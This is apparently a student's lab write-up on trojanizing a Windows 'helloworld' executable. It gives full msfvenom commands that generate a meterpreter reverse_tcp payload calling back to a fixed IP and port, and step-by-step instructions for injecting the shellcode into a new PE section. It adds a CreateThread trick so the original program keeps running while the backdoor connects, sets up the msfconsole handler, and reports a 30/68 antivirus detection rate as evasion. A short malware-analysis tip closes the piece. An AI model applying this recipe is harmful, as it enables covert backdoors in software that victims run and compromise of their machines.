尝试与实践 exe与shellcode捆绑
尝试与实践 exe与shellcode捆绑
经过查阅网上相关资料,kali中在终端输入以下指令以生成木马并捆绑到目标程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.128 LPORT=4314 -x helloworldwin32.exe -f exe -o payload3.exe
该命令的大意就是使用的载荷(payload)为windows/meterpreter/reverse_tcp
运行后回连192.168.45.128的4314(我的学号)端口,原程序为helloworldwin32.exe,输出带有木马的程序,名称为payload3.exe
生成后发现无法运行原捆绑程序,翻看相关评论区,也有相关的网友反应这种情况:点击此处查看参考链接)
.
那我们就手工注入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.128 LPORT=4314 -f hex
执行命令后生成了16进制的shellcode

把这个shellcode复制下来,准备插入到helloworldwin32.exe的一个新增节中
一、加新增节内容
在插入shellcode前,我们需要在文件末尾,进行0字节填充,以作为我们填充ShellCode的具体位置,由上图可知payload size为354字节,可以选择在文件尾部插入0x200个0字节,即512个字节(2 * 16 * 16),选中文件尾部->编辑->粘贴0字节

这样才能将这些十六进制的数据写入pe文件呢?刚开始打算用python,以二进制形式读写……这种方法太麻烦了,后面才发现winhex里面有一个以十六进制写入的强大功能:
选择插入位置的起始点,右键->编辑->剪切板数据->写入

选择确定

选择剪切板格式为ASCII HEX

插入成功

二、改PE头(一)
在PE头中,下图中绿色框出的位置为节区数目,因为我们增加了一个节,所以需要把原来的3改成4,由于我们新增了0x1000的节区空间,那么相应所占内存大小也要加0x1000,如图蓝色部分原始大小为00004000此处改为00005000即可。

PE文件头+.text节+.rdata节+.data节原来所占内存为0x4000,加了一个节(.hack)后,所占内存变成0x5000

三、改PE头(二)
1.前8字节为节名称
2.接下来4字节为在文件中的节区尺寸(红色一),此处设为0X200
3.橘色为节区RVA,上一节起始为0x3000,内存节对齐粒度为0x1000,所以下一节起始RVA应该为0x4000。
4.接下来4字节为在内存中对齐后的尺寸(红色二),此处设为0X200
5.绿色色为文件偏移,上一节起始为0x800,在文件中对齐后尺寸为0x200,所以下一节起始RVA应该为0xA00
6.最后的4字节为节区属性,设为200000E0可读可写可执行

.hack 虚拟偏移(橘色):上一节偏移+ 节大小(.hack) => 0x3000 + 0x1000 = 0x4000
.hack 实际偏移(绿色):上一节在文件中偏移 + 节实际大小(.hack) => 0x800 + 0x200 = 0xA00
四、更改函数入口地址
尝试一(失败):
思路一:将函数入口地址更改为程序加载时的位置,本次实验新增节加载位置为404000,在下方空白位置在用一条跳转命令跳转到原来的入口地址,本次实验原入口地址为401000。

另存为修改的文件,文件命名为helloworldwin32mod_demo.exe

winhex打开,修改函数入口地址为404000

结果:失败了,我上网查找了相关的原因,寻找了好久,得到了网友对相关问题的解答博客链接
是因为程序运行时的优先级不同,我们的后门霸占了相关的资源,造成源程序资源调用申请长时间不被批准。原来的程序就出现了“假死”的情况

程序流图:

尝试二:
程序流图:


修改程序入口地址为0x404174

结果:失败,还是出现了程序假死的效果

尝试三:
如何才能避免假死效果呢?我找到了一篇博文,介绍了[创建多线程的函数_beginthreadex()](windows多线程(十一) 更安全的创建线程方式_beginthreadex() - ay-a - 博客园 (cnblogs.com)) ,然后我上微软官网查看了一下[_beginthreadex()函数简介](_beginthread, _beginthreadex | Microsoft Docs),个人觉得函数_beginthreadex()还是比较难理解的
在该博主的另外一篇博客中介绍了CreateThread()创建线程的方法,我感觉这种创建线程的方式比较容易理解和使用,于是在搜索引擎上寻找了与此函数相关的介绍:[微软官网CreateThread()函数简介](CreateThread function (processthreadsapi.h) - Win32 apps | Microsoft Docs) 、百度百科CreateThread()函数简介
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in, optional] __drv_aliasesMem LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out, optional] LPDWORD lpThreadId
);
需要传入6个参数,lpStartAddress表示新线程的起始地址,在本次实验中仅需向lpStartAddress传入ShellCode首地址即可,其他参数均为0

OllyDbg打开,在函数新增节末尾注入创建线程的函数(call CreateThread)及跳转回原来入口地址的操作(jmp 401000),保存修改到新文件helloworldwin32mod.exe

winhex修改函数入口地址为第一条push 0命令的地址0x40417A

运行一下,函数原功能正常

启动kali回连
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.45.128
set lport 4314
run

运行helloworldwin32.exe,原程序正常运行,远程回连成功

看看能不能执行一条命令,dir看看,发现列出来了当前目录下的所有文件,实验成功

总结:
part1:
重新启动计算机后,CreateThread的地址会发生改变,再次启动带有后门的程序,程序已经无法运行,原因是call CreateThread对应的机器指令是E8 32287675,重新启动后此位置机器指令仍然为E8 32287675,但是CreateThread已经发生改变,要想调用成功,只能改变机器指令为E8 82CDDB75,才能正常运行
重启前此处机器指令为E8 32287675

重新启动后此位置机器指令仍然为E8 32287675

重新调用才能正常运行

part2:
回到前文,我验证了一下,msf生成的payload3是可以回连的,但是原程序不能正常运行,想一想为什么msf生成捆绑的payload没有跑起来?
我先用winhex打开,发现payload3.exe的函数入口是新增节起始位置(0x404000)我用OD打开payload3.exe和正常的helloworldwin32.exe,发现0x404000到0x404140部分 除了个别地方,几乎全部都是相同的,该部分主要是shellcode,负责回连的功能。
0x404140之后helloworldwin32.exe是全0,payload3.exe地址0x404140之后是一些我看不懂的指令,后来发现是导入表尾端部分,内容是MessageBoxA.user32.dll、ExitProcess.Kernel32.dll。但是可以确定的是此部分没有使程序jump到原入口(0x401000),才导致了原本功能不能实现的情况

| 偏移量 | 意义 | helloworldwin32.exe | payload3.exe |
|---|---|---|---|
| PE头部分 | |||
| B0+1A=CA | 链接器版本,对文件执行无影响 | 0xC05 | 0x1 |
| CD | 所有代码段大小 | 0x200 | 0x2000 |
| D1 | 已初始化数据大小 | 0x400 | 0x2000 |
| D8 | 程序入口地址 | 0x417A | 0x4000 |
| 100 | 内存中PE映像尺寸 | 0x5000 | 0x41F8 |
| 104 | PE头+dos头+节表大小 | 0x400 | 0x248 |
| 108 | 校验和 | 0 | 0xDD95 |
| 130 | 导入表起始RVA | 0x2010 | 0x4168 |
| 134 | 导入表长度 | 0x3C | 0x82 |
| 150 | 重定位表 | none | 0x8000041F0 |
| …… | …… | …… | …… |
| 220 | 节表名 | .hack | .nxce |
| 228 | 文件对齐后尺寸 | 0x200 | 0x1F8 |
| …… | …… | …… | …… |
| 600 | 导入表内容 | 2076 | 41DC |
| 205C | 41C0 | ||
| …… | …… | …… | …… |
| 新增节尾部 | none | 出现了导入表尾部的内容 | |
PE头部分

节表部分

导入表部分

新增节尾部


part3:举一反三
A:遇到调用CreateThread()函数时要仔细分析
在恶意程序分析的过程中,如果有遇到程序调用CreateThread()函数,就要提高警惕,仔细分析程序的行为,观察子线是否有特殊行为。
B:更改主线程和子线程
上面我们是将起始点位于401000的原程序作为主线程,起始点位于404000的后门程序作为子线程;可不可以交换一下他们两个的位置,使起始点位于404000的后门程序作为主线程,起始点位于401000的原程序作为子线程呢
将子线程变成helloworld弹窗,主线程变成后门程序

保存后运行,发现弹窗功能正常

后门回连成功

免杀效果
30/68,本质上特征码没有被更改,所以只能达到这样子的效果


浙公网安备 33010602011771号